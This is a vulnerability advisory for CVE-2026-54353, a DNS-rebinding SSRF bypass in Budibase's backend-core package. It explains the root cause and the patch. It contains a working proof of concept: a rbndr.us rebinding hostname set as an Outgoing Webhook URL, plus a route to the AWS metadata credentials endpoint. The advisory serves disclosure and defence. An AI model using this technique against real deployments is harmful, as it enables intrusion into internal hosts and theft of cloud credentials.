high · 8.5CVE-2026-54353Jun 26, 2026

CVE-2026-54353: @budibase/backend-core SSRF DNS Rebinding Bypass

Rohit Hatagale
AI Security Researcher, SecureLayer7

Authenticated Budibase users can trick the SSRF blacklist into approving a request that actually connects to an internal host, by using a DNS rebinding hostname that returns a public IP during validat

Package@budibase/backend-core
Ecosystemnpm
Affected< 3.39.9
Fixed in3.39.9

The problem

The `outboundFetch.ts` helper validates a URL's hostname against an IP blacklist before calling `node-fetch`, but the two steps resolve DNS independently. `isBlacklisted` discards the IPs it looked up and returns only a boolean, so nothing pins the validated address to the socket that `node-fetch` opens.

An attacker who controls a hostname's authoritative DNS can serve a public IP on the first query (which passes the check) and a private IP on the second (which node-fetch uses for the real connection). The same pattern exists in `packages/server/src/automations/steps/utils.ts`.

Because several automation steps (Outgoing Webhook, Slack, Discord, n8n, AI extract, and others) echo the upstream response body directly into automation output, the SSRF is non-blind.

Proof of concept

bash
# 1. Start a local listener on the Budibase host
python3 -m http.server 8080 --bind 127.0.0.1

# 2. The rbndr.us hostname below rotates between:
#    127.0.0.1       (hex: 7f000001)  -- private, returned on 2nd lookup
#    203.0.113.100   (hex: cb007264)  -- public,  returned on 1st lookup (validation)
#
#    Format: <private-ip-hex>.<public-ip-hex>.rbndr.us
REBIND_HOST="7f000001.cb007264.rbndr.us"

# 3. In Budibase: create an automation, add an Outgoing Webhook step,
#    set the URL to:
#      http://7f000001.cb007264.rbndr.us:8080/
#
#    Trigger the automation.
#
# Expected result:
#   - throwIfUnsafe() resolves the hostname -> 203.0.113.100 -> passes blacklist
#   - node-fetch resolves again           -> 127.0.0.1
#   - TCP connection lands on 127.0.0.1:8080
#   - python http.server response body appears in automation output

# To reach the AWS metadata endpoint instead, use a hostname whose
# second lookup resolves to 169.254.169.254 and target:
#   http://<rebind-host>/latest/meta-data/iam/security-credentials/<role>

The root cause is CWE-367 (TOCTOU Race Condition) combined with CWE-918 (SSRF). `isBlacklisted` resolves the hostname and checks the IPs, but returns only a boolean. The caller in `throwIfUnsafe` has no resolved IPs to pass to `node-fetch`, so `node-fetch` issues its own independent `dns.lookup` when opening the socket.

DNS rebinding exploits the gap between those two lookups. With a TTL of 1 second and an authoritative server that alternates answers, the attacker can reliably make the first lookup return a public IP and the second return a private one.

The fix replaces the plain `node-fetch` call with a custom `http.Agent`/`https.Agent` that resolves DNS once, validates the resulting IP against the blacklist, and then dials that same IP directly, closing the TOCTOU window entirely.

The fix

Upgrade `@budibase/backend-core` to 3.39.9 or later. The patch introduces a custom dialing agent that pins the DNS-resolved IP to the socket connection, ensuring the address validated by `isBlacklisted` is the same one the TCP connection uses. As a defense-in-depth measure, restrict outbound network access from the Budibase host at the firewall level to block connections to RFC1918 ranges, loopback, and 169.254.0.0/16.

Reporter not attributed.

References: [1][2]